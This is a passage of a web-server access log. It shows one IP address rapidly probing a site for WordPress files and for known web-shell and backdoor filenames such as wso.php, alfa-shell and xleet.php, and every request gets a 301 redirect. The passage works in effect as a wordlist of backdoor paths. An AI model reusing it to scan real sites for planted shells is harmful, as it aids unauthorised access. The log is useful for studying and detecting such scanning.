795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:52 -0400] "GET /class-wp-admin-bar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:52 -0400] "GET /class-wp-ajax-response.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:52 -0400] "GET /class-wp-error.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:53 -0400] "GET /default-constants.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:53 -0400] "GET /sell.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:53 -0400] "GET /sell.php8 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:53 -0400] "GET /style-engine.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:54 -0400] "GET /template-loader.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:54 -0400] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:54 -0400] "GET /wp-diff.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:55 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:55 -0400] "GET /wp-themes.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:55 -0400] "GET /wp-themes.php8 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:55 -0400] "GET /wp-update.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:56 -0400] "GET /comments.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:56 -0400] "GET /wp-includes/Text/Diff/Engine/Shell.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:57 -0400] "GET /wp-includes/Text/Diff/Engine/native.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:57 -0400] "GET /wp-includes/Text/Diff/Engine/string.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:57 -0400] "GET /wp-includes/Text/Diff/Engine/xdiff.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:58 -0400] "GET /wp-includes/Text/Diff/Renderer/inline.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:58 -0400] "GET /wp-includes/Text/Diff/Renderer.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:58 -0400] "GET /wp-rss.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:59 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:59 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:53:59 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:00 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:00 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:00 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:00 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:01 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:01 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:01 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:02 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:02 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:03 -0400] "GET /images/headers/strenms.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:03 -0400] "GET /wp-content/plugins/mqdlgzp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:05 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:05 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:06 -0400] "GET /wp-content/plugins/lgexwbe/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:06 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:06 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:07 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:07 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:08 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:08 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:09 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:09 -0400] "GET /wp-content/plugins/myhbidf/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:09 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:10 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:10 -0400] "GET /wp-content/upgrade/alfa-shell-v4.1-tesla-decoded.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:11 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:11 -0400] "GET /modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:12 -0400] "GET /wp-content/plugins/plugins/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:12 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:13 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:13 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:14 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:14 -0400] "GET /images/resumes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:15 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:15 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:16 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:16 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:17 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:17 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:17 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:18 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:19 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:19 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:19 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:20 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:20 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:21 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:22 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:22 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:22 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:23 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:23 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:23 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:24 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:24 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:24 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:25 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:25 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:25 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:26 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:26 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:26 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:27 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:27 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:27 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:28 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:28 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:29 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:29 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:29 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:30 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:30 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:30 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:31 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:31 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:31 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:32 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:32 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:32 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:33 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:33 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:33 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:34 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:34 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:34 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:34 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:35 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:35 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:36 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:36 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:36 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:37 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:37 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:38 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:38 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:38 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:39 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:39 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:39 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:40 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:40 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:40 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:41 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:41 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:41 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:41 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:42 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:42 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:42 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:43 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:43 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:43 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:43 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:44 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:44 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:44 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:44 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:45 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:45 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:45 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:45 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:46 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:46 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:46 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:47 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:47 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:47 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:48 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:48 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:49 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:50 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:51 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:51 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:53 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:53 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:54 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:54 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:55 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:55 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:56 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:56 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:56 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:57 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:57 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:58 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:58 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:58 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:59 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:54:59 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:00 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:01 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:03 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:04 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:05 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:05 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:06 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:07 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:08 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:09 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:10 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:10 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:12 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:12 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:13 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:13 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:14 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:14 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:15 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:16 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:17 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:18 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:18 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:18 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:19 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:19 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:20 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:21 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:21 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:22 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:22 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:23 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:23 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:24 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:24 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:25 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:25 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:25 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:26 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:26 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:27 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:27 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:28 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:29 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:30 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:31 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:32 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:32 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - [13/Apr/2025:05:55:33 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 137.135.82.76 - - 